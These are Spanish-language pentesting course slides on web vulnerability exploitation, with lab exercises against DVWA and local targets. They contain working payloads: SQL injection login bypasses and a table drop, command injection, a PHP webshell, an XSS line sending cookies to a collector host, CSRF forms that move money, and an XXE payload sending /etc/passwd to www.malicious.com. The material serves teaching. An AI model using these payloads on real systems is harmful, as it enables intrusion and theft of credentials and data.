Análisis y Explotación
de Vulnerabilidades
Web
Oscar Martínez
Pentester Senior
[email protected]
Análisis de Vulnerabilidades
Análisis de vulnerabilidades
• Automatizada
• Manual
Análisis de vulnerabilidades
Automatizado
• Categorías:
– Scanner a nivel aplicación.
– Scanner a nivel sistema.
Herramientas
Scanner a nivel de sistemas
www.gfi.com www.rapid7.com
www-arc.com/sara/
IBM : www.iss.net www.nessus.org
Retina : www.eeye.com www.qualys.com www.saintcorporation.com
Herramientas
Scanner a nivel de aplicación
Nessus : Arquitectura
O
B
J
browser E
T
O
S
E
V
A
L
U
A
R
nessusd
http server
CtF 4 : Explotando después de
Nessus – Web Application
Nessus Tests
CtF 4 : Explotando después de
Nessus – Web Application
Nessus Tests
CtF 4 : Explotando después de
Nessus – Web Application
Nessus Tests
HTTP Parameter Pollution
Lenguaje/Servidor Método Decide tomar
ASP/IIS -------------->Request.QueryString("par")----->Todos(delimitados por comas)
PHP/Apache--------->$_GET("par") ---------------------->Ultimo
JSP/Tomcat---------->Request.getParameter("par")--->Primero
Perl(CGI)/Apache-->Param("par")------------------------->Primero
Python/Apache----->getvalue("par")----------------------->Todos(Lista)
Revisemos las
herramientas
Introducción a las
Vulnerabilidades Web
Explicación en clase utilizando Damn
Vulnerable Web Application
http://www.dvwa.co.uk/
O se usa un browser
“especializado” como Mantra o ...
Le instalas extensiones...
● Websecurify : analizador de vulnerabilidades.
● Hackbar : encodear, “des-encodear”, inyecciones
preparadas.
● Live HTTP Headers : capturar peticiones, modificar, replay.
● Cookies Manager : robo se sesiones.
● Default User Agent : intentar pasar restricciones en header.
● Poster : POST, PUT, etc. desde Firefox.
● Groundspeed : modificación de forms en línea.
● SQL Inject me : analizador de sql injection.
● XSS me : analizador de XSS.
PERO no
las mismas ni
Válido para todas y hay
otras :)
Tamper Data
Conexión Web sin Proxy
● Típico
– Web browser se comunica directamente con
el servidor
Web Server
Apache (80)
firefox-ESR(49785)
17
Conexión Web con Proxy
● En lugar de comunicarse directamente
con el servidor web, el browser se
conecta al proxy que reenvia los
requerimientos y respuestas.
Web Server
Apache (80) burpsuite(8080)
Firefox-ESR(49785)
18
Para qué sirve esto ?
Analizar en detalle cada request y cada response
●
–Parámetros
–Variables de sesión
–Headers
–Alterar valores
–Realizar ataques manuales y automatizados
–Analizar todas las referencias, redirecciones, pasar por alto
restricciones y un largo etcétera.
Herramientas como Burp Suite implementan un proxy web que
●
provee funcionalidades de captura, edición, replay,
manipulación y, programáticamente, controlan las
interacciones entre el web browser y cualquier servidor que
contacte.
19
Burp Suite Proxy
En Kali :
Applications->Kali Linux->Web
Applications
->Web Application Proxies->burpsuite
20
Configuración de Burp para
Interceptación
● En Proxy->Options Tab asegurarse que la
interface esta en 127.0.0.1:8080
21
Exportar Certificado CA
● Proxy->
Options ->
Import/Export CA
Certificate - >
Certificate DER
format - >
Seleccionar
Directorio y asignar
Nombre de Archivo
22
Importar CA de Burp
Abrir el browser ( En Firefox), seleccionar enl menú de Preferencias
(burger menu)
- Click en la pestaña Advanced --> Certificates ---> View
certificates.
23
Importar CA de Burp
- Click en Import --> Seleccionar el certificado generado en Burp
(archivo .der).
- Comprobar que las tres opciones estén marcadas : identificar sitios web,
e-mails y desarrolladores de software.
24
Configurando un browser
● Advanced --> Network --> Settings --> Manual proxy
configuration :
– HTTP Proxy : 127.0.0.1 Port:8080
– Seleccionar “Use this proxy server for all protocols”
25
Interceptando
Requests/Responses
● En Burp : fijarse que Intercept esta en on
– Proxy --> Intercept
26
Navegar a una página web
● Cuando navega, el browser se detiene.
En Burp se verá :
27
SQL Injection
Qué es SQL Injection?
Se denomina SQL Injection, a la
posibilidad de insertar sentencias SQL
arbitrarias, dentro de una consulta
previamente establecida, con el objeto
de manipular de una u otra forma, los
procesos lícitos de una aplicación
determinada.
Ejemplos Básicos
SELECT * FROM users;
(Esta consulta devuelve un recordset con todos los registros de la tabla
“users”)
UPDATE users SET password = 'AngelPassword' WHERE user =
'admin'
(Esta sentencia actualizará el campo “password” de la tabla “users” para
el usuario “admin”, con el valor “AngelPassword” ).
Conceptualmente
Una sentencia SQL típica, suele tener el siguiente aspecto:
SELECT * FROM users
Restringiendo el Resultado
SELECT * FROM users WHERE username = 'admin' AND userpass =
'admin'
Un Ejemplo de
Implementación
Query String
Sql =“SELECT * FROM users WHERE
username = '“+ username +”' AND userpass =
'“+ password +”'”
También llamada Single Quote o Tick, la comilla simple es un
metacaracter, y como tal en el contexto de un string, tiene una
función bien definida.
Dentro de una estructura SQL, se utiliza la comilla simple ( ' )
para delimitar variables dentro de una consulta.
Single Quote: El Concepto
Username: Angel
Password: secreto1234
sql = “SELECT * FROM users WHERE
username =
'“ + username + ”' AND userpass = '“ +
password + ”'”
El Interprete / Base de Datos recibiría:
SELECT * FROM Users WHERE username = 'Angel' AND userpass =
'secreto1234'
Single Quote: El Concepto
(Cont.)
Username: An’gel
Password: secreto1234
sql = “SELECT * FROM users WHERE
username = '“ + username + ”' AND
userpass = '“ + password + ”'”
Provocando el error…
SELECT * FROM users WHERE username =
'An'gel' AND userpass ='secreto1234'
Single Quote: El Concepto
(Cont.)
Login Bypass
Identificación
Login Bypass
Objetivos:
- Ingresar a zonas restringidas del website objetivo.
- Impersonar un usuario estándar.
- Identificar un posible Administrador e Impersonarlo.
Como intentar by-pasear la autenticación?
Interpretando / adivinando la forma en que la aplicación esta
manejando
requerimientos de autenticación.
Inyectando lógica SQL, en los campos de usuario y contraseña
del formulario.
Algunas opciones:
' or 1=1 -– Admin' –- ' or ''='' --
Login Bypass
Por que la inyección de este código debería funcionar?
' or 1=1 --
SELECT * FROM users WHERE username = ' ' or 1=1 -- ' AND
userpass =''
Admin' --
SELECT * FROM users WHERE username = 'admin' -- AND
userpass =''
' or ''='' --
SELECT * FROM users WHERE username = ' ' or ' '=' ' -- AND
userpass =''
Login Bypass
Un ejemplo más dañino
• No solamente husmear :
– blah‘; DROP TABLE prodinfo; --
• Resulta en :
– SELECT prodinfo FROM prodtable WHERE
prodname = ‘blah’; DROP TABLE
prodinfo; -- ’
– El (--) marca el final de la setencia
• Toda la tabla borrada
– Se requiere haber obtenido el nombre de la
tabla
– Casi siempre, se obtiene de los mensajes de
error
SQL Injection : Ciega o Blind
●
Se han analizado inyecciones normales (basadas en
mensajes de error, visibles, “in-band”) que muestran los
resultados facilmente en las respuestas HTML de la
aplicación.
●
Sin embargo, existen otras denominadas “ciegas” porque
los errores de la base de datos y resultados de los
inyecciones no son mostrados en las respuestas de la
aplicación.
●
Sí : variable=1 and 1=1 -- muestra una página diferente a
variable=1 and 1=0 -- , entonces, existe la vulnerabilidad.
●
Basada en Comportamiento (estados)
41
SQL Injection : Ciega o Blind
SQL Injection : Ciega o Blind
¿El nombre de usuario empieza con “a”?
http://192.168.1.110:8765/bsqli/redir.php?
id=1 AND MID(USER(),1,1)='a'%23
- USER() --> “root@localhost”
- MID(“root@localhost”,1,1) --> 'r'
- AND 'r'='a' --> FALSO
%23 = #
SQL Injection : Ciega o Blind
CtF : SQLi to the max!
● ACME tiene un web lleno de contenido y una base
de datos que espera ser vulnerada
● Basado en el conocimiento de inyecciones de SQL,
se requiere evaluar la posibilidad de tener éxito en
un ataque de SQLi
● De comprobarse que existe una SQLi, se requiere
listar los passwords de la tabla de usuarios de ACME
● Usar el SQLi-Recetario.txt como referencia
● Más detalles en clase...
● Puntaje : 10 Puntos G.
Inyección de comandos...
Ejemplo de URL vulnerable :
http://localhost:90/dvwa/vulnerabilities/exec/
127.0.0.1
; uname -a
; whoami
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping ' . $target )
echo '<pre>'.$cmd.'</pre>';
Más ataques web...
XSS, LFI, RFI
XSS
• <script>alert(“Sorpresa”)</script>
• <script
language=“javascript”type=“text/javascript”>alert(“Sorpresa”)</script>
• Pasos :
– Cortar con “>
– Introducir script <script language=“javascript”
type=“text/javascript”>alert(31337),</script>
– Completo :
• "><script language=“javascript”
type=“text/javascript”>alert(31337),</script>
XSS
“>
<script>document.write(
'<img%20src="http://192.168.1.137:81/cookie_steal_image.html?'+
%2b+escape(document.cookie)+%2b+'>');</script>
RFI
CtF : Creando una aplicación
vulnerable a LFI y RFI para
atacarla...
Se requiere que allow_url_fopen este en ON que es el default.
– En versiones 5.2.X se debe contar con el parámetro
allow_url_include en ON que no es el default.
– /etc/php/7.0/apache2/php.ini (Kali Linux)
●
Iniciar Apache : service apache2 start
• Probando inclusiones :
– Ingresar al directorio /var/www/html (DocumentRoot)
• Crear el script atacame.php usando el editor vi :
(siguiente slide)
CtF : Creando una aplicación
vulnerable a LFI y RFI para
atacarla...
<a href="?page=home.php">Home</a> |
<a href="?page=about.php">About</a>
<?php
$page = $_GET['page'];
if ($page)
include $page;
else
echo "Por favor especifique una pagina.";
?>
CtF : Creando una aplicación
vulnerable a LFI y RFI para atacarla...
Crear el script muymalo.txt usando el editor vi :
<?php
system ('uname -a');
?>
Para probar si atacame.php esta bien, en el browser,
ejecutar http://127.0.0.1/atacame.php
Realizar el “ataque” local :
http://127.0.0.1/atacame.php?
page=http://127.0.0.1/muymalo.txt
CtF : Creando una aplicación
vulnerable a LFI y RFI para atacarla...
Probar reemplazando “uname -a” por :
– cat /etc/passwd
– cat /etc/shadow
– ifconfig
– ping 192.168.254.1
• funciona ?
• probar con : ping 192.168.254.1 -c 3
CtF : Creando una aplicación
vulnerable a LFI y RFI para
atacarla...
Detalles del reto :
– Cada equipo debe crear un archivo con nombre secreto.txt en
un directorio que pueda ser accesado por www-data
– El nombre del archivo se puede escribir en h4x0r, Inglés,
Español o una combinación de ambos, pero, debe estar
completo
– Dentro de ese archivo se debe consignar un texto cualquiera
– Tanto la ubicación del archivo como el texto deben ser dados a
conocer al instructor
– Puntaje : 4 puntos por cada victima “0wn34d4”
– Más detalles : en vivo!
Fallas en Autenticación
y Gestión de Sesiones.
● Por qué es importante un Captcha ?
Mi primer ataque de diccionario con Burp
(detalles en clase...)
Fallas en Autenticación
y Gestión de Sesiones.
Fijación de
Sesión
6
CSRF : Aplicación confía en el
usuario
Operación “Normal” : victima ingresa a su IHB
para transferir dinero a otra persona
POST http://acme-bank.com/transfer.do HTTP/1.1
cuentadestino=999999&monto=1000
El atacante, por ingeniería social, consigue que la
Victima ingrese a otra página (dando click en un
enlace) mientras esta aún “loggeada” en su IHB
<body onload="document.forms[0].submit()">
<form action="http://acme-bank.com/transfer.do" method="POST">
<input type="hidden" name="cuentadestino" value="31337"/>
<input type="hidden" name="monto" value="100000"/>
<input type="submit" value="Mira mi fotito linda"/>
</form>
CSRF : Aplicación confía en el
usuario
Aplicación “moderna”
POST http://acme-bank.com/transfer.do HTTP/1.1
{ "cuentadestino":"999999", "monto":1000 }
Usando Javascript
<script>
function post() {
var x = new XMLHttpRequest();
x.open("POST","http://acme-bank.com/transfer.do",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify({"cuentadestino":"31337", "monto":10000}));
}
</script>
<body onload="post()">
Requiere CORS (Cross-Origin Resource Sharing) en acme-
bank.com : Access-Control-Allow-Origin: *
CSRF versus SOP
● Same Origin Policy (política del mismo orígen)
– Controlada en el browser
● Los browser restringen cualquier “cross origin request” que venga
de scripts, salvo que el servidor original tenga una excepción
– Orígen controlado a nivel de protocolo, nombre DNS del host y
puerto.
● Los scripts, como los de Javascript, que son requeridos desde un
dominio diferente, ejecutan dentro del dominio que lo requiere
– Por ejemplo, http://muymalo.com/ puede requerir un script desde
http://atacame.com/, pero, el script se ejecutará en el contexto de
muymalo.com de forma que no puede acceder a las cookies, tokens de
sesión o datos confidenciales de atacame.com
● No impide la “escritura”, el envio del request
– Con ello, no impide ataques donde el response es apenas un mensaje de
éxito fracaso
● XMLHttpRequest respeta la política del mismo orígen
CSRF versus SOP
● Sin SOP, podría ocurrir lo siguiente :
– Panadería
● Cookie:
– Cookie: cookiename=chocolate; Domain=.panaderia.com; Path=/ [// ;otraDdata]
– Usable desde panaderia.com y todos sus sub dominios
– En cada llamada HTTP a panaderia.com, el browser enviará las cookies que
fueron creadas para ese dominio. Eso ocurre en cada llamada HTTP que puede
ser incluso por imágenes, páginas HTML, llamadas AJAX.
● Qué ocurre si la victima es “orientada” a ingresar a
http://muymalo.com que tiene una página como esta :
– # muymalo.com/paginamala
– var xhr = new XMLHttpRequest();
– xhr.open('GET', 'http://panaderia.com/orden/nuevo?direccionEnvio ="mansión
atacante"');
– xhr.send();
● Sin SOP, el atacante recibiría unos ricos pasteles.
● Con SOP, el atacante tendrá que buscar otras opciones sí el response
es imprescindible para un ataque exitoso, si no, a comer pasteles!
CSRF versus SOP
● Otras opciones sí el response es vital para el
atacante :
– Que panaderia.com tenga una configuración
“relajada” de CORS
●
Access-Control-Allow-Origin: *
– Sin embargo, la carga de recursos de otros hosts
(imágenes, scripts con el tag <scrip src=...>,
stylesheets, iframes, envios de forms, etc. no es
limitada por SOP
●
Ejemplo : <img src='
http://panaderia.com/orden/nueva?direccionEnvio =”mansion
atacante “'/>
– Otras opciones : JSONP, Websockets,
document.domain
CORS : Cross Origin Request
Sharing
Access-Control-Allow-Origin: lista-blanca
Token anti-CSRF
● Se genera un token único dentro de la sesión
del usuario, almacenado en el servidor, y se
envia al cliente con cada form (campo oculto).
Cuando el form es enviado (POST), el cliente
envía el token con el request y el servidor
verifica sí es válido o no.
Token anti-CSRF
● Variaciones :
– Doble token : en cookie y en parámetro
– En aplicaciones modernas, tipo REST, el
cliente puede generar el token, enviarlo en
una cookie y en un parámetro (usando
Javascript) y el servidor solamente tendrá
que validar que sean idénticos → “CSRF
stateless protection”
Configuraciones Inseguras
El error de configuración da referencia a un
hueco de seguridad en la infraestructura
web que puede ser explotada en ataques
como:
– Directory transversal
– Instrusion al servidor
– Datos robados
Una vez encontrado pueden ser facilmente
explotados.
Configuraciones Inseguras
Configuraciones Inseguras
Protección Insuficiente en el
Transporte
Almacenamiento Criptográfico
Inseguro
Falla de Restricción de Acceso a
URLs
Es común que los servidores web se presenten como una
instalación por defecto, sin el aseguramiento debido y
que las aplicaciones se publiquen de igual forma y que se
mantengan directorios/archivos que son útiles en el
proceso de ataque.
Falla de Restricción de Acceso a
URLs
Ejercicio 1:
Usar DirBuster para encontrar directorios/archivos
Ejercicio 2:
Ejecutar un ataque de diccionario a un directorio
protegido (401Attack)
Ejercicio 3:
Usando DirBuster, buscar un archivo de un programa en
Java y descubrir la información más valiosa que posee
Parameter Tampering
Ataques a Reglas de Negocios
Ataques a Reglas de Negocios
Ataques a Reglas de Negocios
Un webshell ?
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
CtF : Tampering y webshell
● Realizar un descubrimiento de directorios web, hallar la aplicación de
reportes de planillas y basado en el conocimiento sobre inyecciones de
SQL, acceder a dicha aplicación.
● Una vez logueado en la aplicación de reporte de planillas, debe realizar la
manipulación de los parámetros para lograr acceso a la sección de
planillas de gerencia, en esta sección logrará tener acceso a la
funcionalidad para subir planillas.
● Use la opción de subir planillas para lograr subir una webshell que
permita la ejecución de comandos dentro del servidor web.
● Puntaje : 10 Puntos G.
Más CtFs !!!
● CtF : Vulneración en encabezados HTTP
● CtF : Bypass de Login vía información
divulgada en archivos.
● CtF : Retos múltiples por fases.
XML External Entity
● Una vulnerabilidad de XML External Entity (XXE) es explotar la forma en
que una aplicación parsea el XML, más específicamente, cómo la
aplicación procesa la inclusión de una entidad externa incluída en el
input.
● Repaso XML
– Define como se estructura la data
<?xml version="1.0" encoding="UTF-8"?>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
XML External Entity
● Un documento XML es válido porque sigue las reglas generales de
XML (tags por ejemplo) y porque coincide con su DTD (Document
Type Definition). El DTD es uno de los elementos vitales para
explotar la XXE.
● El DTD define los tags usados.
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
XML External Entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
XML External Entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
<!ELEMENT Website ANY>
<!ENTITY url SYSTEM "website.txt">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
<website>&url;</website>
</job>
</jobs>
XML External Entity
● Qué tal si podemos enviar un XML (de
forma autorizada) y el parser no valida ?
– Puedo enviar algo como esto y será parseado
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]
>
<foo>&xxe;</foo>
XML External Entity
● Y sí lo parsea, pero, no lo muestra de
vuelta ?
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
Y a revisar logs en www.malicious.com
